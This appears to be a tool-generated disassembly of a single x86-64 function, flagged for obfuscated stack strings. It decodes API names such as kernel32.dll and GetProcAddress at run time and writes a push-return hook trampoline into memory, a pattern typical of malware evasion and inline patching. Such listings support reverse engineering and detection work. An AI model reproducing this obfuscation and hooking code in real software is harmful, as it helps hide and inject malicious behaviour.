Function at 0x20798ce20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x198
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
movabs rsi, 0x31326b646d71646a
mov edx, 1
call fcn.207955840
mov edx, 0x5565
movabs rax, 0x94949cd6918b95
mov dword [rsp + 0xe8], 0x6c677072
mov qword [rsp + 0x5c], rax
movzx eax, byte [rsp + 0x5c]
lea r12, [rsp + 0x170]
lea r15, [rsp + 0x150]
mov byte [rsp + 0xee], 0
mov rcx, r15
xor eax, 0xfffffff8
mov byte [rsp + 0x5c], al
movzx eax, byte [rsp + 0x5d]
xor eax, 0xfffffff8
mov byte [rsp + 0x5d], al
movzx eax, byte [rsp + 0x5e]
xor eax, 0xfffffff8
mov byte [rsp + 0x5e], al
movzx eax, byte [rsp + 0x5f]
xor eax, 0xfffffff8
mov byte [rsp + 0x5f], al
movzx eax, byte [rsp + 0x60]
xor eax, 0xfffffff8
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x61]
xor eax, 0xfffffff8
mov byte [rsp + 0x61], al
movzx eax, byte [rsp + 0x62]
xor eax, 0xfffffff8
mov byte [rsp + 0x62], al
mov rax, qword [0x207a438e8]
mov qword [rsp + 0xe0], rax
mov eax, 0x5565
mov word [rsp + 0xec], ax
movabs rax, 0x51625f6d4a67714b
mov qword [rsp + 0x101], rax
mov dword [rsp + 0x109], 0x6c677072
mov word [rsp + 0x10d], dx
mov rdx, r12
mov byte [rsp + 0x10f], 0
movzx eax, byte [rsp + 0x101]
add eax, 2
mov byte [rsp + 0x101], al
movzx eax, byte [rsp + 0x102]
add eax, 2
mov byte [rsp + 0x102], al
movzx eax, byte [rsp + 0x103]
add eax, 2
mov byte [rsp + 0x103], al
movzx eax, byte [rsp + 0x104]
add eax, 2
mov byte [rsp + 0x104], al
movzx eax, byte [rsp + 0x105]
mov dword [rsp + 0x78], 0x3b736c5b
add eax, 2
mov byte [rsp + 0x7c], 0
mov byte [rsp + 0x105], al
movzx eax, byte [rsp + 0x106]
add eax, 2
mov byte [rsp + 0x106], al
movzx eax, byte [rsp + 0x107]
add eax, 2
mov byte [rsp + 0x107], al
movzx eax, byte [rsp + 0x108]
add eax, 2
mov byte [rsp + 0x108], al
movzx eax, byte [rsp + 0x109]
add eax, 2
mov byte [rsp + 0x109], al
movzx eax, byte [rsp + 0x10a]
add eax, 2
mov byte [rsp + 0x10a], al
movzx eax, byte [rsp + 0x10b]
add eax, 2
mov byte [rsp + 0x10b], al
movzx eax, byte [rsp + 0x10c]
add eax, 2
mov byte [rsp + 0x10c], al
movzx eax, byte [rsp + 0x10d]
add eax, 2
mov byte [rsp + 0x10d], al
movzx eax, byte [rsp + 0x10e]
add eax, 2
mov byte [rsp + 0x10e], al
mov rax, qword [0x207a438f0]
mov qword [rsp + 0x70], rax
movabs rax, 0x6c5c63465e5b6946
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x178], 0x3b736c5b
mov byte [rsp + 0x17c], 0
movzx eax, byte [rsp + 0x170]
add eax, 6
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x171]
add eax, 6
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
add eax, 6
mov byte [rsp + 0x172], al
movzx eax, byte [rsp + 0x173]
mov dword [rsp + 0x88], 0x6868602a
add eax, 6
mov byte [rsp + 0x8c], 0
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0x174]
add eax, 6
mov byte [rsp + 0x174], al
movzx eax, byte [rsp + 0x175]
add eax, 6
mov byte [rsp + 0x175], al
movzx eax, byte [rsp + 0x176]
add eax, 6
mov byte [rsp + 0x176], al
movzx eax, byte [rsp + 0x177]
add eax, 6
mov byte [rsp + 0x177], al
movzx eax, byte [rsp + 0x178]
add eax, 6
mov byte [rsp + 0x178], al
movzx eax, byte [rsp + 0x179]
add eax, 6
mov byte [rsp + 0x179], al
movzx eax, byte [rsp + 0x17a]
add eax, 6
mov byte [rsp + 0x17a], al
movzx eax, byte [rsp + 0x17b]
add eax, 6
mov byte [rsp + 0x17b], al
mov rax, qword [0x207a438f8]
mov qword [rsp + 0x80], rax
movabs rax, 0x2e2f68616a6e6167
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x158], 0x6868602a
mov byte [rsp + 0x15c], 0
movzx eax, byte [rsp + 0x150]
add eax, 4
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
add eax, 4
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
add eax, 4
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
add eax, 4
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
add eax, 4
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
add eax, 4
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
add eax, 4
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
add eax, 4
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
add eax, 4
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x159]
add eax, 4
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15a]
add eax, 4
mov byte [rsp + 0x15a], al
movzx eax, byte [rsp + 0x15b]
add eax, 4
mov byte [rsp + 0x15b], al
call fcn.2079560c0
lea rcx, [rsp + 0x5c]
call rax
mov r8d, 0x8a
movdqu xmm0, xmmword [0x207a438b0]
movabs rdx, 0x8a9c9a968ba98d97
mov r14, rax
mov ecx, 0x8a
movabs rax, 0x9c8b8b8cba8d9cbe
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], rdx
mov rdx, r12
mov word [rsp + 0x180], r8w
movzx eax, byte [rsp + 0x170]
movups xmmword [rsp + 0x110], xmm0
xor eax, 0xfffffff9
mov word [rsp + 0x120], cx
mov rcx, r15
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x171]
xor eax, 0xfffffff9
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
xor eax, 0xfffffff9
mov byte [rsp + 0x172], al
movzx eax, byte [rsp + 0x173]
xor eax, 0xfffffff9
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0x174]
xor eax, 0xfffffff9
mov byte [rsp + 0x174], al
movzx eax, byte [rsp + 0x175]
xor eax, 0xfffffff9
mov byte [rsp + 0x175], al
movzx eax, byte [rsp + 0x176]
xor eax, 0xfffffff9
mov byte [rsp + 0x176], al
movzx eax, byte [rsp + 0x177]
xor eax, 0xfffffff9
mov byte [rsp + 0x177], al
movzx eax, byte [rsp + 0x178]
xor eax, 0xfffffff9
mov byte [rsp + 0x178], al
movzx eax, byte [rsp + 0x179]
xor eax, 0xfffffff9
mov byte [rsp + 0x179], al
movzx eax, byte [rsp + 0x17a]
xor eax, 0xfffffff9
mov byte [rsp + 0x17a], al
movzx eax, byte [rsp + 0x17b]
xor eax, 0xfffffff9
mov byte [rsp + 0x17b], al
movzx eax, byte [rsp + 0x17c]
xor eax, 0xfffffff9
mov byte [rsp + 0x17c], al
movzx eax, byte [rsp + 0x17d]
mov dword [rsp + 0x98], 0x919199d3
xor eax, 0xfffffff9
mov byte [rsp + 0x9c], 0
mov byte [rsp + 0x17d], al
movzx eax, byte [rsp + 0x17e]
xor eax, 0xfffffff9
mov byte [rsp + 0x17e], al
movzx eax, byte [rsp + 0x17f]
xor eax, 0xfffffff9
mov byte [rsp + 0x17f], al
movzx eax, byte [rsp + 0x180]
xor eax, 0xfffffff9
mov byte [rsp + 0x180], al
mov rax, qword [0x207a438c0]
mov qword [rsp + 0x90], rax
movabs rax, 0xcfce9198938f9896
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x158], 0x919199d3
mov byte [rsp + 0x15c], 0
movzx eax, byte [rsp + 0x150]
xor eax, 0xfffffffd
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
xor eax, 0xfffffffd
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
xor eax, 0xfffffffd
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
xor eax, 0xfffffffd
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
xor eax, 0xfffffffd
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
xor eax, 0xfffffffd
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
xor eax, 0xfffffffd
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xfffffffd
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
xor eax, 0xfffffffd
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x159]
xor eax, 0xfffffffd
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15a]
xor eax, 0xfffffffd
mov byte [rsp + 0x15a], al
movzx eax, byte [rsp + 0x15b]
xor eax, 0xfffffffd
mov byte [rsp + 0x15b], al
call fcn.2079560c0
call rax
mov r10d, 0x7171
mov rcx, r15
mov rdx, r12
mov r13, rax
mov rax, qword [0x207a43900]
mov r9d, 0x7171
mov qword [rsp + 0x40], 0
mov word [rsp + 0xfc], r9w
mov qword [rsp + 0xf0], rax
movabs rax, 0x3f616d704e726345
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x178], 0x63706262
mov word [rsp + 0x17c], r10w
mov byte [rsp + 0x17e], 0
movzx eax, byte [rsp + 0x170]
mov qword [rsp + 0x48], 0
add eax, 2
mov byte [rsp + 0xfe], 0
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x171]
mov dword [rsp + 0xf8], 0x63706262
add eax, 2
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
add eax, 2
mov byte [rsp + 0x172], al
movzx eax, byte [rsp + 0x173]
add eax, 2
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0x174]
add eax, 2
mov byte [rsp + 0x174], al
movzx eax, byte [rsp + 0x175]
add eax, 2
mov byte [rsp + 0x175], al
movzx eax, byte [rsp + 0x176]
add eax, 2
mov byte [rsp + 0x176], al
movzx eax, byte [rsp + 0x177]
add eax, 2
mov byte [rsp + 0x177], al
movzx eax, byte [rsp + 0x178]
add eax, 2
mov byte [rsp + 0x178], al
movzx eax, byte [rsp + 0x179]
add eax, 2
mov byte [rsp + 0x179], al
movzx eax, byte [rsp + 0x17a]
add eax, 2
mov byte [rsp + 0x17a], al
movzx eax, byte [rsp + 0x17b]
mov rbx, qword [0x207a43908]
mov byte [rsp + 0xac], 0
mov dword [rsp + 0xa8], 0x6b6b632d
add eax, 2
mov byte [rsp + 0x17b], al
movzx eax, byte [rsp + 0x17c]
mov qword [rsp + 0xa0], rbx
add eax, 2
mov byte [rsp + 0x17c], al
movzx eax, byte [rsp + 0x17d]
add eax, 2
mov byte [rsp + 0x17d], al
mov qword [rsp + 0x150], rsi
mov dword [rsp + 0x158], 0x6b6b632d
mov byte [rsp + 0x15c], 0
movzx eax, byte [rsp + 0x150]
add eax, 1
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
add eax, 1
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
add eax, 1
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
add eax, 1
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
add eax, 1
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
add eax, 1
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
add eax, 1
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
add eax, 1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
add eax, 1
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x159]
add eax, 1
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15a]
add eax, 1
mov byte [rsp + 0x15a], al
movzx eax, byte [rsp + 0x15b]
add eax, 1
mov byte [rsp + 0x15b], al
call fcn.2079560c0
mov rcx, r14
lea rdx, [rsp + 0x101]
call rax
movdqu xmm0, xmmword [0x207a43910]
mov r11d, 0x85
mov rcx, r15
mov r14, rax
mov qword [0x207a72160], rax
movabs rax, 0x9f938eac989d99ae
movabs rdx, 0x8e939199b18f8f99
mov qword [rsp + 0x170], rax
mov eax, 0x85
mov qword [rsp + 0x178], rdx
mov rdx, r12
mov word [rsp + 0x180], ax
movzx eax, byte [rsp + 0x170]
movups xmmword [rsp + 0x130], xmm0
mov word [rsp + 0x140], r11w
xor eax, 0xfffffffc
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x171]
xor eax, 0xfffffffc
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
xor eax, 0xfffffffc
mov byte [rsp + 0x172], al
movzx eax, byte [rsp + 0x173]
xor eax, 0xfffffffc
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0x174]
xor eax, 0xfffffffc
mov byte [rsp + 0x174], al
movzx eax, byte [rsp + 0x175]
xor eax, 0xfffffffc
mov byte [rsp + 0x175], al
movzx eax, byte [rsp + 0x176]
xor eax, 0xfffffffc
mov byte [rsp + 0x176], al
movzx eax, byte [rsp + 0x177]
xor eax, 0xfffffffc
mov byte [rsp + 0x177], al
movzx eax, byte [rsp + 0x178]
xor eax, 0xfffffffc
mov byte [rsp + 0x178], al
movzx eax, byte [rsp + 0x179]
xor eax, 0xfffffffc
mov byte [rsp + 0x179], al
movzx eax, byte [rsp + 0x17a]
xor eax, 0xfffffffc
mov byte [rsp + 0x17a], al
movzx eax, byte [rsp + 0x17b]
xor eax, 0xfffffffc
mov byte [rsp + 0x17b], al
movzx eax, byte [rsp + 0x17c]
xor eax, 0xfffffffc
mov byte [rsp + 0x17c], al
movzx eax, byte [rsp + 0x17d]
mov qword [rsp + 0xb0], rbx
xor eax, 0xfffffffc
mov byte [rsp + 0xbc], 0
mov byte [rsp + 0x17d], al
movzx eax, byte [rsp + 0x17e]
mov dword [rsp + 0xb8], 0x6b6b632d
xor eax, 0xfffffffc
mov byte [rsp + 0x17e], al
movzx eax, byte [rsp + 0x17f]
xor eax, 0xfffffffc
mov byte [rsp + 0x17f], al
movzx eax, byte [rsp + 0x180]
xor eax, 0xfffffffc
mov byte [rsp + 0x180], al
mov qword [rsp + 0x150], rsi
mov dword [rsp + 0x158], 0x6b6b632d
mov byte [rsp + 0x15c], 0
movzx eax, byte [rsp + 0x150]
add eax, 1
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
add eax, 1
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
add eax, 1
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
add eax, 1
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
add eax, 1
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
add eax, 1
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
add eax, 1
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
add eax, 1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
add eax, 1
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x159]
add eax, 1
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15a]
add eax, 1
mov byte [rsp + 0x15a], al
movzx eax, byte [rsp + 0x15b]
add eax, 1
mov byte [rsp + 0x15b], al
call fcn.2079560c0
lea rdx, [rsp + 0x40]
mov r9d, 0xc
mov rcx, r13
mov qword [rsp + 0x20], rdx
lea r8, [0x207a72150]
mov rdx, r14
lea r14, [rsp + 0x64]
call rax
lea rax, [0x20798c970]
mov rdx, r12
mov rcx, r14
mov qword [rsp + 0x50], rax
mov eax, 0xffffb646
mov r8d, 2
mov word [rsp + 0x3c], ax
mov eax, 0xffffb646
mov word [rsp + 0x170], ax
mov byte [rsp + 0x172], 0
movzx eax, byte [rsp + 0x170]
mov qword [rsp + 0x64], 0
add eax, 2
mov dword [rsp + 0x6c], 0
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x3e], 0
add eax, 2
mov byte [rsp + 0x171], al
call fcn.2079615e0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x66]
mov r8d, 8
call fcn.2079615e0
mov eax, 0x4f
lea rcx, [rsp + 0x6e]
mov rdx, r12
mov word [rsp + 0x170], ax
movzx eax, byte [rsp + 0x170]
mov r8d, 1
add eax, 1
mov byte [rsp + 0x170], al
call fcn.2079615e0
mov eax, 0xc0
lea rcx, [rsp + 0x6f]
mov rdx, r12
mov word [rsp + 0x170], ax
movzx eax, byte [rsp + 0x170]
mov r8d, 1
add eax, 3
mov byte [rsp + 0x170], al
call fcn.2079615e0
mov edx, 0xffff8388
movabs rax, 0x9588aa9f8e9388ad
mov ecx, 0xffff8388
mov word [rsp + 0x160], dx
movdqu xmm0, xmmword [0x207a438d0]
movabs rdx, 0x95979fb789899f99
mov qword [rsp + 0x170], rax
mov r15, qword [0x207a72160]
xor eax, eax
mov qword [rsp + 0x178], rdx
mov byte [rsp + 0x162], 0
mov word [rsp + 0x180], cx
mov byte [rsp + 0x182], 0
movups xmmword [rsp + 0x150], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x170]
xor edx, 0xfffffffa
mov byte [rsp + rax + 0x170], dl
add rax, 1
cmp rax, 0x12
jne 0x20798dbe0
mov rax, qword [str.kernel32KqgJm_bQFi_Fclganjah_.EcrNpma_jdqmdk21]
mov rdx, r12
lea rcx, [rsp + 0xd3]
mov dword [rsp + 0xc8], 0x6c6c642e
mov byte [rsp + 0xcc], 0
mov qword [rsp + 0xc0], rax
movabs rax, 0x32336c656e72656b
mov qword [rsp + 0xd3], rax
mov dword [rsp + 0xdb], 0x6c6c642e
mov byte [rsp + 0xdf], 0
movzx eax, byte [rsp + 0xd3]
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xd4]
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd7]
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0xd9], al
movzx eax, byte [rsp + 0xda]
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0xdc], al
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0xdd], al
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0xde], al
call fcn.2079560c0
lea rdx, [rsp + 0x48]
mov r8, r14
mov rcx, r13
mov qword [rsp + 0x20], rdx
mov r9d, 0xc
mov rdx, r15
call rax
call fcn.2079556e0
xor eax, eax
add rsp, 0x198
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret